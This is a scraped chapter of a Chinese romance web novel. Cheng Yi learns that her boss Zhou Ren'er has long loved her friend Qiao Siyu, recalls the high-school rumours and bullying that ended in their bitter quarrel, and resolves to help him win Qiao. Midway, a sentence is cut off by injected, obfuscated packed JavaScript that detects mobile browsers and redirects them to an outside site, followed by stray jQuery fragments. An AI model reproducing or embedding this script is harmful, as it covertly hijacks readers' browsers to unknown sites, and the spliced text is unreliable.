默认冷灰
24号文字
方正启体

37. 弥补

作者:西红柿炒键盘本书字数:K更新时间:
    她的思绪也跟着这个话题飘回了昨天早上,为了节省时间又想多消耗一些卡路里,她选择了爬楼梯,结果在楼梯间撞见了谢知宴。


    谢知宴穿一身奶黄色运动套装,额上勒着条发带,裸露的皮肤泛着薄汗,看着有些发黏,想来是爬了好一会儿了。


    程意打了声招呼正要走,却被他喊住。他神秘兮兮地抛来个没头没脑的问题:“小程同学,做为乔思雨的朋友,你知道乔思雨和周总高中时怎么样吗?”


    程意一愣:“什么怎么样?”


    “就是他们高中时的关系。”


    “应该还行吧。”


    程意在心里默默回忆着,乔思雨的爸爸是法官,妈妈是老师,是典型的知识分子家庭。虽然乔思雨曾说周任尔对她态度不怎么样,凶巴巴的,但程意却觉得,周任尔对乔思雨其实还算温和。


    至少,他从没骂过乔思雨“没脑子”……这话他可对她说过,而且无数次……


    周任尔曾经还说过挺欣赏乔思雨的,因为她随口的一句话就帮他解决了一个技术上的难题,两人的大学专业也比较接近,也算是有共同话题。


    乔思雨曾告诉程意,她来云州是因为表姐在这边,父母让她报这里的学校,好有个照应。


    谢知宴笑了笑:“那就没错了。”


    程意不解:“什么意思?”


    “你没看出来?”谢知宴挑了挑眉,“周任尔喜欢乔思雨啊,从高中那会儿就开始了,乔思雨算是……他的白月光吧。”


    程意怔在原地,心脏仿佛被什么攥紧,又骤然松开。


    原来是这样。


    原来他当初冷眼旁观,不是冷漠,不是不屑,而是因为他喜欢乔思雨,不想让乔思误会自己和她的关系!


    这个认知像一把生锈的钥匙,猛地捅开了记忆的锁,那些被她刻意尘封的画面瞬间汹涌而来。


    高中快毕业时,隔壁班的一个小平头被几个朋友起哄,跑到她面前向她表白,被她给拒绝了。


    对方不甘心,梗着脖子追问:“那你喜欢谁?你们班的那个周任尔吗?”


    程意当时只回了九个字:“关你屁事。又关他屁事?”


    这短短一句话,却像颗炸雷,精准地投喂了那几个早已放弃高考、整天寻衅滋事的男生。


    她与周任尔的绯闻,原来也是他们一手编排出来的。


    他们像嗅到血腥味的鲨鱼,兴奋地围拢在一起,乐此不疲地编织着她与周任尔的所谓“故事”。


    起初只是课间阴阳怪气的几声起哄,后来却愈演愈烈。甚至有人在校内论坛匿名发帖,绘声绘色地杜撰出她给周任尔写情书的种种细节。


    当时跟她要好的两个朋友也凑上来,嘻嘻哈哈地把程意和周任尔扯成玩笑的主角。


    她不知如何辩白,只能勉强挤出笑容,掩饰那一刻的尴尬。


    再后来……他们开始围堵她,拖着长音喊“周夫人”,把她的作业本塞进周任尔的课桌,在她经过时发出暧昧又刺耳的怪叫。


    她记得,周任尔那时总是很沉默。


    有时她仓惶地瞥向他,总能看见他正低着头,一副事不关己高高挂起的样子。


    这种沉默,在当时被围剿得近乎绝望的她看来……如同一堵冰冷的屏障,更像一种无声的默许。


    巨大的委屈和无力感裹挟了她,她无力改变环境,只能改变自己。


    她开始下意识地避开所有可能与他产生交集的瞬间,绕开他的座位,提前收拾书包,掐着点离开教室,仿佛离他远一点……那些刺耳的声音就能小一点。


    而拍毕业照那天,成了所有混乱和难堪的顶点。


    几个男生趁她和周任尔都不在,将两人的校服外套的袖子死死地绑在一起,高高挂在教室后墙的黑板报钉子上,又用粉笔在黑板上画了一个巨大的、歪歪扭扭的爱心,里面写着“程意、周任尔百年好合”。


    当她被簇拥着走进教室时,全班爆发出的哄笑和口哨声几乎要掀翻屋顶。


    她只觉得全身的血液“轰”一声全涌到了头顶,脸颊滚烫,耳朵里嗡嗡作响。


    羞愤之下,她猛地抓起讲台上的板擦,疯了似的擦掉那些字迹,粉末飞扬。


    她转过身,对着那些人说:“他那么丑!我才不会喜欢他!我就算喜欢猪喜欢狗,也不会喜欢周任尔那只癞蛤蟆!”


    其实周任尔长得一点也不丑,只是青春期脸上冒了几颗特别顽固的青春痘而已,经常是这个痘好了,那个痘又重新冒了出来,班里也有几个女生偷偷讨论过,说这几颗痘拉低了他的颜值。


    她永远忘不了她转身时看到的场景。


    周任尔不知何时静静站在后门口,手里攥着一瓶可乐,指节捏得发白。他脸上的表情瞬间凝固,像是被迎面击了一拳,血色迅速从脸上褪去,变得异常苍白。


    铝制的可乐罐在他手里发出不堪重负的、轻微的“嘎吱”变形声。


    他死死地盯着她,那双原本平静的眼睛里,翻涌着震惊、难堪,最后迅速冻结成一片深不见底的冰冷。


    他声音不高,却像冰刃划开空气,“你放心,我对你这种没脑子的货色也没有半点兴趣。”


    他往前走了一步,目光刻薄地扫过她的脸,一字一句地说:


    “躲?你除了会缩着脖子躲还会什么?”


    “真以为全世界都围着你那点可怜戏码转?”


    “被起哄就哭天抢地,被编排就要死要活……”


    他的视线刻意扫过她颤抖的睫毛,“在这装什么受害者?你明明……很享受这种被人瞩目的感觉吧?不然……一开始被起哄时,怎么……笑得那么开心?”


    程意就那样站在原地,一动不动的,仿佛被钉在了耻辱柱上,连呼吸都得艰难起来。


    原来……这才是他内心真实的想法。觉得她蠢,觉得她装,觉得她从头到脚,都是一个笑话。


    程意身体里那根名为理智的弦应声而断。所有的羞愤、委屈和恐惧,在极致的荒谬感中淬炼成一种冰冷的尖锐。


    她竟低低地笑了一声,抬起的眼睛里没有泪,只有一片烧尽的灰烬和骇人的亮光。


    “笑?”


    “周任尔,你那双只会做题的眼睛是瞎的吗?分不清什么是尴尬什么是开心?”


    “我那是在笑?我他妈是在向她们求饶!求她们别说了!”


    “但你呢?”


    “你明明知道我怕得要死,难堪得要命!你却选择把头埋进试卷里,像鸵鸟一样装作什么都没发生!”


    “现在倒有脸站出来,拿着我忍辱负重的表情当罪证?指责我是在享受别人的瞩目?你的懦弱和虚伪,真让我恶心!”


    “没错,我就是受害者!”


    她几乎一字一顿道:“我受害于你的冷眼旁观!受害于你事不关己的沉默!更受害于你现在这副道貌岸然、落井下石的嘴脸!”


    “周任尔,你比所有起哄的人加起来……更让我觉得可怕和悲哀!”


    “你连站出来替我说一句话的勇气都没有!你比你妈那个罗锅的背脊梁还弯!她弯的是身子,你弯的是骨气!”


    “你以为我躲的是你?别往自己脸上贴金了。我躲的是恶心,你和那些人一样恶心,恶心的让人反胃!”


    “呵……喜欢你?我宁愿去死!我宁愿从这跳下去!我程意今天把话放在这儿,我就算去死,也不会喜欢你……周任尔!”


    这决绝到近乎惨烈的宣言,连同之前的那些闹剧,终于以最尖锐的方式捅破了天。


    校领导雷霆震怒,介入彻查。


    最终,那几个造谣、肆意欺凌程意的男生,被查实情节恶劣,直接给予了开除学籍的处分。


    这场迟来的、冰冷的正义,仿佛一盆冷水浇熄了持续燃烧的闹剧火焰。


    程意觉得……若没有这个结果,再任由那令人窒息的环境蔓延下去,她或许真的……连高考都无法撑过去。


    再后来,周任尔留在了北辰读顶尖的大学,程意只身南下。


    两人再没有任何联系,仿佛从未在彼此的生命中出现过一般。


    如今想起来,那些话像一把把钝刀,不仅划破了他当时的尊严,更可能刺穿了一个少年在喜欢的人面前,努力维持的、薄如蝉翼的自尊。


    她太清楚了,青春期的自尊,薄如蝉翼,却重如泰山。


    成年之后回头看,或许会觉得不值一提,可对那时的他们来说,那就是整个世界。


    一句无意或有意的嘲笑,一个眼神、一次窃窃私语,都可能在心底埋下漫长的阴影。


    周任尔或许从来不会因为贫穷而自卑,也不会因衣着而窘迫。他内心有强大的部分,程意一直知道。


    可再强大的人,在喜欢的人面前,也会变得脆弱、敏感,甚至自我怀疑。


    而她偏偏就在那个瞬间,把他那份小心翼翼的自尊,摔碎在了乔思雨面前。


    那一刻,他垂下眼帘时微微颤抖的睫毛,紧抿的嘴唇泛出的苍白,还有后来整整一个星期,他沉默地避开所有人的目光……她现在才读懂那沉默之下的惊涛骇浪。


    从那之后,她不是没有察觉。班里女生看他的眼神,总像是藏着什么心照不宣的笑意,经过他座位时脚步轻快又刻意,低语声像蚊蝇般嗡嗡不绝。


    她们的那种行为……仿佛是在说……他配不上什么美好的人与事。


    所以当时的他……是不是也很难过?是不是也曾独自一人,在空无一人的教室里,或者无数个深夜里,默默消化着那些难以言说的失落?


    说到底,那几个男生的起哄也是因她而起,跟周任尔并没有什么关系,她不能因为周任尔是当事人之一,就逼迫他和自己一起面对。


    所以当时的自己是不是也太自私了点?她只顾着宣泄自己的情绪,却从没想过,他或许也是受害者,甚至承受得更多。


    想到这里,程意的心像是被什么拧了一下,微微发酸。


    那酸楚顺着血液流淌,蔓延至四肢百骸,让她几乎要喘不过气来。


    这么多年,她一直以为自己才是唯一的受害者,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470755|181664||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    固执地抱着那份委屈,却从未真正试图去理解他的处境和心情。


    一种混合着愧疚、懊悔和释然的复杂情绪在她心中翻涌。


    原来横亘在他们之间的,不只是她的委屈,还有他的……


    这个认知让她这两天一直紧绷的心弦忽然松弛了一些,她整个人像一直困在死胡同里许久,终于看到了另一条路的入口。


    她不敢想象周任尔到底是怎么做到的,竟然暗恋了乔思雨十年,但他为什么这么久都没有行动过?直到最近才开始发力?


    很快……程意自己就得出了答案……周任尔是个怯懦者,是的……他是个怯懦者。


    在这个世界上存在两种爱,一种是热烈炙热的爱,另一种是内敛深沉的爱,两种爱没有高低之分,只是表达的形式不同罢了,而周任尔的爱就属于后者。


    也许……她现在还能做点什么。


    这个念头像一束光,突然照进了她沉郁的心底。


    也许她可以帮周任尔追到乔思雨。


    用这样的方式,弥补当年那些没过脑子的话带来的伤害。毕竟现在的乔思雨仍旧单身,虽然她说她是单身主义者,可万一呢?万一她会改变主意呢?


    这个想法让她沉重的心情忽然轻松了许多,仿佛终于找到了一个救赎的出口,一个可以弥补过去、让彼此都获得解脱的机会……程意觉得只有看到他幸福,那段青涩又伤痛的过往才能真正画上句号。


    “思雨,你们部门团建几点出发?”她忽然问,声音里带着一丝不易察觉的急切。


    乔思雨刚夹了片肥牛放进嘴里,闻言含糊道:“好像是明天早上八点在公司楼下集合,怎么了?”


    “没什么。”程意拿起手机看了眼时间,心跳在胸腔里加速,像有一只困兽在撞击牢笼,“我先回趟办公室,有点事要处理。”


    乔思雨眨眨眼:“不等我了?”


    “你慢慢吃吧,我真的有急事!”


    程意几乎是迫不及待地站起身,仿佛慢一秒,那个刚刚诞生的决心就会消散,那扇刚刚打开的门又会重新关上。


    程意快步走出食堂,午后的阳光晒得人皮肤发烫,她却觉得胸腔里的心跳得飞快,像揣了只扑腾的麻雀。


    ……她终于要亲手为他牵起另一根红线,也将自己从过去的那段纠缠中彻底释放。


    到了五楼,她脚步顿了顿,深吸一口气才往周任尔的办公室走去。


    门口的沈助理认得她,笑着问:“你找周总?”


    “嗯,他在吗?”


    “在的,你直接进去吧。”


    程意敲了敲门,里面传来低沉的“进”字。


    周任尔正坐在办公桌后看文件,指尖夹着支钢笔,听到动静抬眼看来,目光落在她身上,带着几分不易察觉的讶异。


    “有事?”


    他放下笔,身体微微后靠,姿态闲适,却莫名透着疏离感。


    他觉得程意说的没错,公司是工作的地方,不是搞暧昧的地方,他应该专业一点。上班的时候好好当领导,好好工作,下班的时候好好追人……


    程意反手带上门,走到办公桌前站定,努力让语气听起来自然:“周总,我听说研发部明天去象山团建?”


    周任尔眉梢微挑,没直接回答,反而反问:“所以呢?”


    “我想申请参加。”程意迎着他的视线,不闪不避。


    周任尔的目光在她脸上停留了几秒,眼底似乎掠过一丝笑意,快得像错觉。


    他随即板起脸,装模作样地反问:“为什么?你又不是研发部的。”


    程意早料到他会这么说,心里那点紧张忽然散了,反而生出点促狭的笑意。


    她微微扬着下巴,语气笃定:“之前不是您说的吗?多跟研发部接触,才能更好地工作。”


    说完还悄悄抬眼瞟他,等着看他的反应。


    这一刻,她仿佛又变回了那个能和他针锋相对、毫不示弱的程意,只是目的已截然不同。


    周任尔怔了怔,随即勾了勾嘴角。


    “行。”


    他没再追问,拿起桌上的内线电话,“通知行政部,明天团建加一个人。”


    挂了电话,他抬眼看向还站在原地的程意,语气恢复了平时的平淡:“还有事?”


    “没、没有了,谢谢周总。”程意没想到这么顺利,这时才反应过来,刚才自己有些过分紧张了,她转身就想走。


    “程意。”周任尔忽然叫住她。


    她脚步一顿,回头看他。


    他的目光落在她脚上的米色小皮鞋上:“明天换双舒服点的鞋,象山那边要爬山。”


    程意愣了愣,随即点头:“好,知道了。”


    走出办公室时,她才发现手心竟有些出汗。


    她也不知道自己刚才在紧张什么,她是想当红娘,亲手将他推向他想要的幸福,从此两不相欠,有什么好紧张的。


    说不定以后他还得谢谢自己呢!


    而且还是大谢特谢!谢自己帮他解决了终身大事。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)